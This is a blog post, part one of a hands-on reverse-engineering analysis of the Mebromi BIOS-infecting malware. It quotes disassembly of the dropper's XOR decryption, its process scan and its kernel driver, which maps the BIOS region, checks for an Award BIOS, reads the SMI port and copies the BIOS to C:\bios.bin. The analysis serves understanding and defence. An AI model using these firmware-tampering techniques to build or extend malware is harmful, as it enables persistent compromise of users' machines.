Shifting yourself to space

September 10, 2011

Hum, Mebromi

Filed under: Uncategorized — shift32 @ 7:32 pm
Tags: , , , , , , , , , , ,

So I was reading twitter this week and got around dozen twits per day about
this malware which infects bios and pwns award BIOSes, a friend also mentioned “some Chinese malware which infects BIOS” so I started looking for a sample, and found

I started reversing it and this is my progress, the reader should note that I wrote everything while I reversed it, this is only part one as it got a bit long.
Another part will be released in a while, once I’ll finish reversing it.

The malware doesn’t come packed with any protections, beside two XOR operations on the .text section and .rodata, from a first look it didn’t seem scary or anything like it, but I still haven’t got to a phase where I can actually say what it does.

The malware starts with a few simple steps:
* gets base address of the pe header
* changes page permissions into rwx
* decrypts a 0x500 long .text section with a simple xor byte ptr [esi+edx],98

.text:00402585 sub_402585      proc near               ; CODE XREF: startp
.text:00402585                 push    esi
.text:00402586                 call    fn_change_page_perms
.text:0040258B                 push    0               ; lpModuleName
.text:0040258D                 call    ds:GetModuleHandleA
.text:00402593                 mov     ecx, [eax+3Ch]
.text:00402596                 add     ecx, eax
.text:00402598                 movzx   edx, word ptr [ecx+14h]
.text:0040259C                 lea     ecx, [edx+ecx+18h]
.text:004025A0                 mov     edx, [ecx+0Ch]
.text:004025A3                 add     edx, eax
.text:004025A5                 xor     esi, esi
.text:004025A7 decrypt_text_loop:                      ; CODE XREF: sub_402585+2Dj
.text:004025A7                 xor     byte ptr [esi+edx], 98h
.text:004025AB                 inc     esi
.text:004025AC                 cmp     esi, 500h
.text:004025B2                 jl      short decrypt_text_loop

nothing fancy goes here, after we changed the page permissions we can freely write anywhere we wish

we then proceed into .rdata section to decrypt another portion of code
base address is at 0x404000 with a 0x400 length

.text:004025B4                 mov     edx, [ecx+5Ch]
.text:004025B7                 add     ecx, 50h
.text:004025BA                 add     edx, eax
.text:004025BC                 xor     eax, eax
.text:004025BE                 mov     ecx, [ecx+10h]
.text:004025C1                 pop     esi
.text:004025C2                 test    ecx, ecx
.text:004025C4                 jbe     short locret_4025CF
.text:004025C6 decrypt_rdata_loop:                     ; CODE XREF: sub_402585+48j
.text:004025C6                 xor     byte ptr [eax+edx], 89h
.text:004025CA                 inc     eax
.text:004025CB                 cmp     eax, ecx
.text:004025CD                 jb      short decrypt_rdata_loop
.text:004025CF locret_4025CF:                          ; CODE XREF: sub_402585+3Fj
.text:004025CF                 retn

nothing interesting in here.
I was a bit suprised to see that after olly analyzed it I saw text strings instead of code,amongst the string we see a lot of “bios” related things, from what I’ve read, the malware/rootkit seem to reflash the bios
but we’ll have to see it ourselves, seeing is believing ๐Ÿ˜‰

we fetched the process path and got a process snapshot we called CreateToolhelp32Snapshot to fetch a process list and called Process32Firstืฅ
Two strings were pushed into to the stack, to look for RSTray.exe and KVMon
these processes could be the malware’s process or some av that it wishes to monitor or eradicate the code is quite simple and fully understandableืฅ

.text:00402D56                 push    TH32CS_SNAPPROCESS ; dwFlags
.text:00402D58                 call    CreateToolhelp32Snapshot
.text:00402D5D                 mov     edi, eax        ; save the handle
.text:00402D5F                 lea     eax, [ebp+pe]
.text:00402D65                 push    eax             ; lppe
.text:00402D66                 push    edi             ; hSnapshot
.text:00402D67                 mov     [ebp+pe.dwSize], 128h
.text:00402D71                 call    Process32First
.text:00402D76                 push    [ebp+lpString2] ; lpString2
.text:00402D79                 mov     esi, ds:lstrcmpiA
.text:00402D7F                 lea     eax, [ebp+pe.szExeFile]
.text:00402D85                 push    eax             ; lpString1
.text:00402D86 find_process_loop:                      ; CODE XREF: fn_find_process+60j
.text:00402D86                 call    esi ; lstrcmpiA
.text:00402D88                 test    eax, eax
.text:00402D8A                 jz      short loc_402DA9
.text:00402D8C                 lea     eax, [ebp+pe]
.text:00402D92                 push    eax             ; lppe
.text:00402D93                 push    edi             ; hSnapshot
.text:00402D94                 call    Process32Next
.text:00402D99                 test    eax, eax
.text:00402D9B                 jz      short loc_402DAF
.text:00402D9D                 push    [ebp+lpString2]
.text:00402DA0                 lea     eax, [ebp+pe.szExeFile]
.text:00402DA6                 push    eax
.text:00402DA7                 jmp     short find_process_loop
.text:00402DA9 loc_402DA9:                             ; CODE XREF: fn_find_process+43j
.text:00402DA9                 mov     ebx, [ebp+pe.th32ProcessID]
.text:00402DAF loc_402DAF:                             ; CODE XREF: fn_find_process+54j
.text:00402DAF                 push    edi             ; hObject
.text:00402DB0                 call    ds:CloseHandle
.text:00402DB6                 pop     edi
.text:00402DB7                 mov     eax, ebx
.text:00402DB9                 pop     esi
.text:00402DBA                 pop     ebx
.text:00402DBB                 leave
.text:00402DBC                 retn

for those who can’t understand much – here is a short summary
we first call Createtoolhelp32Snapshot to get a handle so we could call Process32First
then we go over all of the processes which we recvd from Createtoolhelp32Snapshot to look for them if we found the process, we save it in loc_402DA9 (I think) else we just call CloseHandle return zero

My system didn’t have those processes so I never hit loc_402DA9, in my next analysis series I will create such processes and see what happens (or not…depends how lazy I am and how interesting this kit/malware is).

The malware continues and calls GetCommandLineArgs. GetCommandLineArgs is called and the arguments are parsed and saved into a list based on a char array, I don’t know whether it’s some internal function or something the author wrote himself, but I found it quite frustrating, I’m no windows internals expert but the good old va_arg list could’ve fit here really good instead of looking for spaces, tabs, etc.

the malware calls GetVersionExA and starts looking goes through a switch case to handle
properly the OS, this is a very weird case which I didn’t bother reversing at all, there’s a big case which does some basic math which i cba to reverse, it tries to determine the major build of the OS.
I recall seeing some Microsoft video about how there are 12 ways to determine the Windows build but only one of them is actually true…you can guess whether or not the author used the right one (:

Once we parse the arguments it seems that the malware has 3 switches,
which I yet know their meaning, the switches are -u, -d and -w.
If the os version has no support (eax = 6) we just return, still nothing fancy : /

A simple side note btw –
the malware has a nice way to call methods by

push eax

this tricked IDA into thinking that we haven’t reached into any new function
and made me click a few clicks ;p

Afterwards we load a resource, I don’t know what it does or what’s it’s purpose, but I think it has to do with bios.sys which we’ve seem before or some tmp file.
The resource size is 8D7 located at 420F8C in global memory
it doesn’t seem like a pe, or any sort of flat disassembly file
there doesn’t seem to be any sort magic or text at the start
hum, no fun here, beside loading the resource nothing happened
we’re now looking for the %TmP% file to see if it exists and if so delete it

after a few new operators and some c++ vooodoo (damn you c++ ๐Ÿ˜ฆ ) which I got lost in we finally write the %TMP% file which is a .sys driver (you can recognize it by the INIT section and import from ntoskrnl.exe and HAL.dll).
I don’t know the driver’s purpose but it had debugging symbols (when would come the time that kernel drivers also have protectors and packers ? )
/* edit: and from further analysis it also had DbgPrints ๐Ÿ˜€ */


this gotta give us some hint ๐Ÿ˜‰

I copied the tmp file and named it with a sys extension and hooked
up IDA to see a bit of it, at this stage I stopped debugging the main exe and move to the sys, I kept olly open to continue the debugging session to continue it later on but started my static analysis journey with IDA.

When opening the driver in IDA, you can see that it’s quite small and has only 11 functions.
4 of them are are only for initialization (DriverEntry,UnloadDriver,initialize_MajorFunctions and MF_do_nothing)
the rest are unknown for now, but looking at the graph we can see that only 3 functions are calling other functions, which makes the analysis a lot more simple.

The most frustrating part when reversing the driver would probably be (from a very quick look) to find which major function the driver is using

.text:000115A1 loc_115A1:                              ; CODE XREF: initialize_MajorFunctions+56j
.text:000115A1                 mov     eax, offset MF_do_nothing
.text:000115A6                 mov     [edi+38h], eax
.text:000115A9                 mov     [edi+40h], eax
.text:000115AC                 mov     dword ptr [edi+70h], offset unknown_interesting_0
.text:000115B3                 mov     dword ptr [edi+34h], offset UnloadDriver?
.text:000115BA                 xor     eax, eax
0:000> dt nt!_DRIVER_OBJECT
   +0x000 Type             : Int2B
   +0x002 Size             : Int2B
   +0x004 DeviceObject     : Ptr32 _DEVICE_OBJECT
   +0x008 Flags            : Uint4B
   +0x00c DriverStart      : Ptr32 Void
   +0x010 DriverSize       : Uint4B
   +0x014 DriverSection    : Ptr32 Void
   +0x018 DriverExtension  : Ptr32 _DRIVER_EXTENSION
   +0x01c DriverName       : _UNICODE_STRING
   +0x024 HardwareDatabase : Ptr32 _UNICODE_STRING
   +0x028 FastIoDispatch   : Ptr32 _FAST_IO_DISPATCH
   +0x02c DriverInit       : Ptr32     long
   +0x030 DriverStartIo    : Ptr32     void
   +0x034 DriverUnload     : Ptr32     void
   +0x038 MajorFunction    : [28] Ptr32     long

I already knew that we’re accessing the MajorFunction member, but having cdb around is a really good thing as IDA lacks the fucking ability to help in such critical moments

(thanks ThFabba for helping me finding the correct offsets, <3)

after resolving which IRP_MJ_* the driver uses, let's see what we end up with :

.text:000115A1 loc_115A1:                              ; CODE XREF: initialize_MajorFunctions+56j
.text:000115A1                 mov     eax, offset MF_do_nothing
.text:000115A6                 mov     [edi+38h], eax  ; IRP_MJ_CREATE
.text:000115A9                 mov     [edi+40h], eax  ; IRP_MJ_CLOSE
.text:000115AC                 mov     dword ptr [edi+70h], offset IRP_MJ_DEVICE_CONTROL
.text:000115B3                 mov     dword ptr [edi+34h], offset DriverUnload
.text:000115BA                 xor     eax, eax

the most interesting thing which comes up to my mind is the edi+70h, which I had a few issues resolving it beforehand

the function head is quite similar to any IRP_MJ head

.text:000114DA ; Attributes: bp-based frame
.text:000114DA ; int __stdcall IRP_MJ_DEVICE_CONTROL(int, PIRP Irp)
.text:000114DA IRP_MJ_DEVICE_CONTROL proc near         ; DATA XREF: initialize_MajorFunctions+70o
.text:000114DA Irp             = dword ptr  0Ch

and PIRP is

0:000> dt nt!_IRP
   +0x000 Type             : Int2B
   +0x002 Size             : Uint2B
   +0x004 MdlAddress       : Ptr32 _MDL
   +0x008 Flags            : Uint4B
   +0x00c AssociatedIrp    : __unnamed
   +0x010 ThreadListEntry  : _LIST_ENTRY
   +0x018 IoStatus         : _IO_STATUS_BLOCK
   +0x020 RequestorMode    : Char
   +0x021 PendingReturned  : UChar
   +0x022 StackCount       : Char
   +0x023 CurrentLocation  : Char
   +0x024 Cancel           : UChar
   +0x025 CancelIrql       : UChar
   +0x026 ApcEnvironment   : Char
   +0x027 AllocationFlags  : UChar
   +0x028 UserIosb         : Ptr32 _IO_STATUS_BLOCK
   +0x02c UserEvent        : Ptr32 _KEVENT
   +0x030 Overlay          : __unnamed
   +0x038 CancelRoutine    : Ptr32     void
   +0x03c UserBuffer       : Ptr32 Void
   +0x040 Tail             : __unnamed

I truly thank cdb for actually printing the offset and not letting me fuck up with the offset calculation

the IRP_MJ_CONTROL function is the most interesting one, it is the one responsible to write to the bios and copy the firmware
from usermode to kernel and from there to the bios

it has 3 important functions which are quite easy to understand and are called from a case :

.text:000114DA ; int __stdcall IRP_MJ_DEVICE_CONTROL(int, PIRP Irp)
.text:000114DA IRP_MJ_DEVICE_CONTROL proc near         ; DATA XREF: initialize_MajorFunctions+70o
.text:000114DA Irp             = dword ptr  0Ch
.text:000114DA                 mov     edi, edi
.text:000114DC                 push    ebp
.text:000114DD                 mov     ebp, esp
.text:000114DF                 push    esi
.text:000114E0                 mov     esi, [ebp+Irp]
.text:000114E3                 mov     eax, [esi+60h]
.text:000114E6                 and     dword ptr [esi+18h], 0
.text:000114EA                 and     dword ptr [esi+1Ch], 0
.text:000114EE                 cmp     byte ptr [eax], 0Eh
.text:000114F1                 push    edi
.text:000114F2                 jnz     short return
.text:000114F4                 mov     eax, [eax+0Ch]
.text:000114F7                 cmp     eax, 80102180h
.text:000114FC                 jz      short write_dosdevice_c_bios_bin_case
.text:000114FE                 cmp     eax, 80102184h
.text:00011503                 jz      short loc_11513
.text:00011505                 cmp     eax, 80102188h
.text:0001150A                 jnz     short return
.text:0001150C is_award_bios_case:
.text:0001150C                 call    is_award_bios
.text:00011511                 jmp     short loc_1151F
.text:00011513 ; ---------------------------------------------------------------------------
.text:00011513 loc_11513:                              ; CODE XREF: IRP_MJ_DEVICE_CONTROL+29j
.text:00011513                 call    fn_flash_bios?
.text:00011518                 jmp     short loc_1151F
.text:0001151A ; ---------------------------------------------------------------------------
.text:0001151A write_dosdevice_c_bios_bin_case:        ; CODE XREF: IRP_MJ_DEVICE_CONTROL+22j
.text:0001151A                 call    write_dosdevice_c_bios_bin

the reader would notice that I have named the fn_flash_bios? function, with a question mark, as I am not sure whether this one actually flashes the bios or the write_dosdevice_c_bios_bin_case function, from a quick look it seems that the first
one flashes the bios as it uses out instructions to into ports and has some debugging information (DbgPrints) showing some interesting strings,
but this is for later use.
The other 2 functions check whether the pc has an award bios or not and writes the actual modified bios
to the system with \\DosDevices\\Bios

Those who follow should notice that we still haven't reached from the usermode to the part where we create the C:\\bios.bin
this would be quite interesting to reverse as I have never reversed a bios in my entire life ๐Ÿ™‚

Ok, let's quickly analyze this 3 functions which are the most interesting ones for now

we'll start with the easiest one, is_award_bios
the reader should note, however, that I lack of some bios and lowlevel oS knowledge, so I might miss a few things here

.text:000113CE                 push    edi
.text:000113CF                 xor     eax, eax
.text:000113D1                 push    eax             ; CacheType
.text:000113D2                 mov     ebx, 10000h
.text:000113D7                 push    ebx             ; NumberOfBytes
.text:000113D8                 push    eax
.text:000113D9                 mov     esi, 0F0000h
.text:000113DE                 push    esi             ; PhysicalAddress
.text:000113DF                 mov     [ebp+var_4], eax
.text:000113E2                 call    ds:MmMapIoSpace

we see that the malware tries to map a physical address at 0F0000h, after a small google search I found that the bios is mapped from that place to 0F0000h in x86 arch (that is, the top 64k part of memory).
We can see that the NumberOfBytes parameter is set to 10000h so it could hint that we're reading the bios and probably more

just a quick note, which I'd like to mention, the author was kind enough to add DbgPrints
which decreased the complexity of understanding what each function does and also to identify the error checking basic blocks

.text:000113E8                 mov     edi, eax
.text:000113EA                 test    edi, edi
.text:000113EC                 jnz     short loc_11407
.text:000113EE                 push    eax
.text:000113EF                 push    esi
.text:000113F0                 push    offset aMmmapiospacePh ; "MmMapIoSpace physics address:0x%x faile"...
.text:000113F5                 call    DbgPrint
.text:000113FA                 add     esp, 0Ch
.text:000113FD                 mov     eax, 0C0000001h
.text:00011402 loc_11402:                              ; CODE XREF: is_award_bios+79j
.text:00011402                 pop     edi
.text:00011403                 pop     esi
.text:00011404                 pop     ebx
.text:00011405                 leave
.text:00011406                 retn


Now let's move onto the interesting stuff, eax points to the mapped bios area we wish to inspect

.text:00011407 loc_11407:                              ; CODE XREF: is_award_bios+26j
.text:00011407                                         ; is_award_bios+5Dj
.text:00011407                 cmp     dword ptr [eax], 57414024h
.text:0001140D                 jnz     short loc_11418
.text:0001140F                 cmp     dword ptr [eax+4], 414C4644h
.text:00011416                 jz      short loc_11441

this check looks like it's look for magic values every Award bios has to know if it could infect it or not. I do not know much about Award BIOS , an in-depth analysis of the BIOS will be made in another post

.text:00011418 loc_11418:                              ; CODE XREF: is_award_bios+47j
.text:00011418                 inc     eax
.text:00011419                 inc     [ebp+var_4]
.text:0001141C                 cmp     [ebp+var_4], 0FFF5h
.text:00011423                 jb      short loc_11407
.text:00011425                 push    offset aThisIsNotAAwor ; "This is not a Aword BIOS!\n"
.text:0001142A                 call    DbgPrint
.text:0001142F                 pop     ecx
.text:00011430                 mov     esi, 0C0000001h

once again the author was kind enough to add DbgPrints to tell us whether or not it's an Award bios or not ๐Ÿ˜€

.text:00011441 find_smi_port:                          ; CODE XREF: is_award_bios+50j
.text:00011441                 mov     ax, [eax+2Ah]
.text:00011445                 mov     smi_port, ax
.text:0001144B                 movzx   eax, ax
.text:0001144E                 push    eax
.text:0001144F                 push    offset aSmi_port0xX_ ; "SMI_PORT = 0x%x.\n"
.text:00011454                 call    DbgPrint
.text:00011459                 pop     ecx
.text:0001145A                 pop     ecx
.text:0001145B                 lea     esi, [edi+18h]
.text:0001145E                 mov     [ebp+var_4], 0FFE6h
.text:00011465 get_bios_size:                          ; CODE XREF: is_award_bios+D3j
.text:00011465                 cmp     dword ptr [esi-18h], 5F4D535Fh
.text:0001146C                 jnz     short loc_11495
.text:0001146E                 cmp     dword ptr [esi-8], 494D445Fh
.text:00011475                 jnz     short loc_11495
.text:00011477                 movzx   eax, word ptr [esi]
.text:0001147A                 movsx   eax, byte ptr [eax+edi+9]
.text:0001147F                 inc     eax
.text:00011480                 shl     eax, 6
.text:00011483                 push    eax
.text:00011484                 push    offset aBiossizeKb0xX_ ; "BIOSSize(KB) = 0x%x.\n"
.text:00011489                 mov     dword_13010, eax
.text:0001148E                 call    DbgPrint
.text:00011493                 pop     ecx
.text:00011494                 pop     ecx
.text:00011494                 pop     ecx

the next stages get more information about the bios itself, the bios size, the smi port, etc,

/* edit: there's a small hint here about the order of the calls, the name implies that is_award_bios is the first, and write_dosdevice_c_bios_bin is second, and the third if flash_bios?, there's an unknown case here whether write_dosdevice_c_bios_bin is called twice – once to write the actual malware and another time to backup the bios… */

it is pretty cool to see the analysis that was done in order to identify the bios
pattern matching seem like a neat approach, unfrotunately I don't know Award BIOS internals that well to explain them, I might write a more brief post after I'll finish analyzing the whole malware, but for now this is all I can give.

once we finish getting the information we need a call to MmUnmapIoSpace is called and the function returns.

.text:00011435 loc_11435:                              ; CODE XREF: is_award_bios+D7j
.text:00011435                 push    ebx             ; NumberOfBytes
.text:00011436                 push    edi             ; BaseAddress
.text:00011437                 call    ds:MmUnmapIoSpace
.text:0001143D                 mov     eax, esi
.text:0001143F                 jmp     short loc_11402

.text:00011402 loc_11402:                              ; CODE XREF: is_award_bios+79j
.text:00011402                 pop     edi
.text:00011403                 pop     esi
.text:00011404                 pop     ebx
.text:00011405                 leave
.text:00011406                 retn

The next function got me a bit confused, I know what it does, but I might have a few mistakes when I analyze
it seem to backup the current bios that we have, and then

.text:0001128A write_dosdevice_c_bios_bin proc near    ; CODE XREF: IRP_MJ_DEVICE_CONTROL:write_dosdevice_c_bios_bin_casep
.text:0001128A ObjectAttributes= OBJECT_ATTRIBUTES ptr -2Ch
.text:0001128A IoStatusBlock   = _IO_STATUS_BLOCK ptr -14h
.text:0001128A DestinationString= UNICODE_STRING ptr -0Ch
.text:0001128A Handle          = dword ptr -4

As mentioned in the previous function we first map the bios address space

.text:000112B4 loc_112B4:                              ; CODE XREF: write_dosdevice_c_bios_bin+16j
.text:000112B4                 mov     eax, dword_13010
.text:000112B9                 push    ebx
.text:000112BA                 push    edi
.text:000112BB                 xor     edi, edi
.text:000112BD                 cmp     eax, edi
.text:000112BF                 jz      return_status_unsuccess
.text:000112C5                 cmp     smi_port, di
.text:000112CC                 jz      return_status_unsuccess
.text:000112D2                 mov     esi, eax
.text:000112D4                 imul    esi, 0FFFFFC00h
.text:000112DA                 push    edi             ; 0, CacheType
.text:000112DB                 shl     eax, 0Ah
.text:000112DE                 push    eax             ; NumberOfBytes
.text:000112DF                 xor     ecx, ecx
.text:000112E1                 push    ecx
.text:000112E2                 push    esi             ; PhysicalAddress
.text:000112E3                 call    ds:MmMapIoSpace

we then move onto getting a handle to C:\bios.bin to save the bios in case anything bad will happen

.text:00011308 open_bios_bin:                          ; CODE XREF: write_dosdevice_c_bios_bin+63j
.text:00011308                 push    offset SourceString ; "\\DosDevices\\C:\\bios.bin"
.text:0001130D                 lea     eax, [ebp+DestinationString]
.text:00011310                 push    eax             ; DestinationString
.text:00011311                 call    ds:RtlInitUnicodeString
.text:00011317                 push    edi             ; EaLength
.text:00011318                 push    edi             ; EaBuffer
.text:00011319                 push    20h             ; CreateOptions
.text:0001131B                 push    5               ; CreateDisposition
.text:0001131D                 push    1               ; ShareAccess
.text:0001131F                 push    80h             ; FileAttributes
.text:00011324                 lea     eax, [ebp+DestinationString]
.text:00011327                 mov     [ebp+ObjectAttributes.ObjectName], eax
.text:0001132A                 push    edi             ; AllocationSize
.text:0001132B                 lea     eax, [ebp+IoStatusBlock]
.text:0001132E                 push    eax             ; IoStatusBlock
.text:0001132F                 lea     eax, [ebp+ObjectAttributes]
.text:00011332                 push    eax             ; ObjectAttributes
.text:00011333                 push    100023h         ; DesiredAccess
.text:00011338                 lea     eax, [ebp+Handle]
.text:0001133B                 push    eax             ; FileHandle
.text:0001133C                 mov     [ebp+ObjectAttributes.Length], 18h
.text:00011343                 mov     [ebp+ObjectAttributes.RootDirectory], edi
.text:00011346                 mov     [ebp+ObjectAttributes.Attributes], 240h
.text:0001134D                 mov     [ebp+ObjectAttributes.SecurityDescriptor], edi
.text:00011350                 mov     [ebp+ObjectAttributes.SecurityQualityOfService], edi
.text:00011353                 call    ds:ZwCreateFile
.text:00011359                 mov     esi, eax
.text:0001135B                 mov     eax, dword_13010
.text:00011360                 shl     eax, 0Ah
.text:00011363                 cmp     esi, edi

Small note – this might be windows compiler specific – edi mostly has the value zero
and is always used to check for errors etc, this makes things a bit more easier to understand but makes you wonder more about compiler specific options etc that the project was compiled with (the smart readers would also notice the mov edi,edi
to add space for patching/detouring in some functions)

The real shit goes here, where we actually save a copy of our bios, ebx points to the buffer that we mapped with MmMapIoSpace
edi is zero, and IoStatusBlock is a parameter passed on the stack

.text:0001137C loc_1137C:                              ; CODE XREF: write_dosdevice_c_bios_bin+DBj
.text:0001137C                 push    edi             ; Key
.text:0001137D                 push    edi             ; ByteOffset
.text:0001137E                 push    eax             ; Length
.text:0001137F                 push    ebx             ; Buffer
.text:00011380                 lea     eax, [ebp+IoStatusBlock]
.text:00011383                 push    eax             ; IoStatusBlock
.text:00011384                 push    edi             ; ApcContext
.text:00011385                 push    edi             ; ApcRoutine
.text:00011386                 push    edi             ; Event
.text:00011387                 push    [ebp+Handle]    ; FileHandle
.text:0001138A                 call    ds:ZwWriteFile
.text:00011390                 mov     esi, eax
.text:00011392                 cmp     esi, edi
.text:00011394                 jl      short loc_113A1
.text:00011396                 push    offset aBackupAwordBio ; "Backup Aword BIOS to disk c bios.bin su"...
.text:0001139B                 call    DbgPrint
.text:000113A0                 pop     ecx

a call to MmUnmapIoSpace is called afterwards and a return value is return upon success by mov eax, esi

what actually caught my eye was how do we get a STATUS_SUCCESS value ? since we saw on the begining of the value that esi is

.text:0001128A                 mov     edi, edi
.text:0001128C                 push    ebp
.text:0001128D                 mov     ebp, esp
.text:0001128F                 sub     esp, 2Ch
.text:00011292                 push    esi
.text:00011293                 mov     esi, STATUS_UNSUCCESSFUL

after looking a bit on the disassembly we can see that after the ZwcreateFile esi is accumulated with eax

.text:0001134D                 mov     [ebp+ObjectAttributes.SecurityDescriptor], edi
.text:00011350                 mov     [ebp+ObjectAttributes.SecurityQualityOfService], edi
.text:00011353                 call    ds:ZwCreateFile
.text:00011359                 mov     esi, eax
.text:0001135B                 mov     eax, dword_13010
.text:00011360                 shl     eax, 0Ah
.text:00011363                 cmp     esi, edi
.text:00011365                 jge     short loc_1137C
.text:00011367                 push    eax             ; NumberOfBytes
.text:00011368                 push    ebx             ; BaseAddress
.text:00011369                 call    ds:MmUnmapIoSpace

that's it ๐Ÿ˜‰

Now to the real meat

.text:000110DE fn_flash_bios?  proc near               ; CODE XREF: IRP_MJ_DEVICE_CONTROL:loc_11513p
.text:000110DE ObjectAttributes= OBJECT_ATTRIBUTES ptr -40h
.text:000110DE IoStatusBlock   = _IO_STATUS_BLOCK ptr -28h
.text:000110DE DestinationString= UNICODE_STRING ptr -20h
.text:000110DE ByteOffset      = LARGE_INTEGER ptr -18h
.text:000110DE P               = dword ptr -10h
.text:000110DE var_C           = dword ptr -0Ch
.text:000110DE Handle          = dword ptr -8
.text:000110DE var_4           = dword ptr -4

there are a few things which caught my eye first when I saw this function , one of them is that I might be mistaken about
my assumptions for the previous function, does it really backup the bios or does it do anything else ? I do not know yet,
to be sure, it copies the bios and writes it into C:\bios.bin, but which bios ? the modified one written by the malware
or the true – real one

the function opens \\DosDevice\\C:\\bios.bin and read it`s contents

.text:00011104                 push    offset SourceString ; "\\DosDevices\\C:\\bios.bin"
.text:00011109                 lea     eax, [ebp+DestinationString]
.text:0001110C                 push    eax             ; DestinationString
.text:0001110D                 call    ds:RtlInitUnicodeString
.text:00011113                 push    edi             ; EaLength
.text:00011114                 push    edi             ; EaBuffer
.text:00011115                 push    20h             ; CreateOptions
.text:00011117                 push    3               ; CreateDisposition
.text:00011119                 push    1               ; ShareAccess
.text:0001111B                 push    80h             ; FileAttributes
.text:00011120                 lea     eax, [ebp+DestinationString]
.text:00011123                 mov     [ebp+ObjectAttributes.ObjectName], eax
.text:00011126                 push    edi             ; AllocationSize
.text:00011127                 lea     eax, [ebp+IoStatusBlock]
.text:0001112A                 push    eax             ; IoStatusBlock
.text:0001112B                 lea     eax, [ebp+ObjectAttributes]
.text:0001112E                 push    eax             ; ObjectAttributes
.text:0001112F                 push    100023h         ; DesiredAccess
.text:00011134                 lea     eax, [ebp+Handle]
.text:00011137                 push    eax             ; FileHandle
.text:00011138                 mov     [ebp+ObjectAttributes.Length], 18h
.text:0001113F                 mov     [ebp+ObjectAttributes.RootDirectory], edi
.text:00011142                 mov     [ebp+ObjectAttributes.Attributes], 240h
.text:00011149                 mov     [ebp+ObjectAttributes.SecurityDescriptor], edi
.text:0001114C                 mov     [ebp+ObjectAttributes.SecurityQualityOfService], edi
.text:0001114F                 call    ds:ZwCreateFile

it allocates a pool with the tag myfr, is that the author nick ? have I seen it before ? I can't honestly remember
but it rings a bell somewhere

.text:0001116C                 mov     eax, dword_13010
.text:00011171                 mov     esi, 'mfyr'
.text:00011176                 push    esi             ; Tag
.text:00011177                 shl     eax, 0Ah
.text:0001117A                 push    eax             ; NumberOfBytes
.text:0001117B                 push    edi             ; PoolType
.text:0001117C                 call    ds:ExAllocatePoolWithTag

I will split this post into two (or more ?) parts, as I that it's getting longer than I anticipated, so the real sauce will
be in the next post, sorry, stay tuned.

Blog at